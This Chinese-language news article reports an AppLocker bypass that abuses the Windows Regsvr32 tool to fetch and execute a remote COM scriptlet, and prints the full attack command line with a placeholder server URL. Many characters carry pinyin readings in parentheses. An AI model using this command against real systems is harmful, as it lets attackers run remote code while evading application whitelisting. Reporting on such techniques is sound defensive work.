AppLocker是Windows 7和Windows Server 2008 R2中引入的一項(xiàng)安全功能,旨在幫助管理員們指定哪個(gè)用戶或用戶組能夠訪問(wèn)/運(yùn)行某一個(gè)文件。然而據(jù)外媒報(bào)道,已經(jīng)有人找到了利用Windows系統(tǒng)中Regsvr32命令行工具的某個(gè)隱藏特性,來(lái)繞過(guò)Windows AppLocker安全措施并正常注冊(cè)動(dòng)態(tài)鏈接庫(kù)(DLLs)的方法。
Regsvr32則是一款可被安裝工具(或批處理腳本)使用,以便快速注冊(cè)動(dòng)態(tài)鏈接庫(kù)的腳本工具。
照理說(shuō),微軟既然把這款“中性”而又危險(xiǎn)的工具留在系統(tǒng)中,就應(yīng)該管好它不被管理員之外的人所濫用。但遺憾的是,我們幾乎不可能檢測(cè)到這種類型的攻擊。
據(jù)安全研究人員Casey Smith所述,當(dāng)攻擊者在某臺(tái)受感染的工作站上立足之后,就可以濫用Regsvr32、通過(guò)網(wǎng)絡(luò)下載一個(gè)COM腳本程序(.sct文件),然后在本地機(jī)器上注冊(cè)一個(gè)DLL。
更糟糕的是,攻擊者甚至無(wú)需取得管理員權(quán)限。Regsvr32可借助代理和TLS連接、重定向等功能,并且它擁有微軟自家的證書(shū),所以可以執(zhí)行任何看似正常的背景活動(dòng)命令。
下面是標(biāo)準(zhǔn)的Regsvr32參數(shù)、以及而已命令的對(duì)比:
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
Smith還指出,“regsvr32能夠接收的腳本網(wǎng)址沒(méi)有很好的記錄,要觸發(fā)這一‘旁路’,可以把內(nèi)置VB和JS元素的代碼塊放進(jìn)去”。
在進(jìn)一步的測(cè)試中,研究人員還在GitHub上放出了系統(tǒng)管理員能夠下載的“概念驗(yàn)證腳本”(通過(guò)Regsvr32并打開(kāi)一個(gè)后門(mén)、或者基于HTTP的反向shell)。
從理論上來(lái)說(shuō),這種類型的“漏洞”允許攻擊者訪問(wèn)注冊(cè)所有DLL,然后在被感染的計(jì)算機(jī)上執(zhí)行惡意代碼,更別說(shuō)管理員權(quán)限了。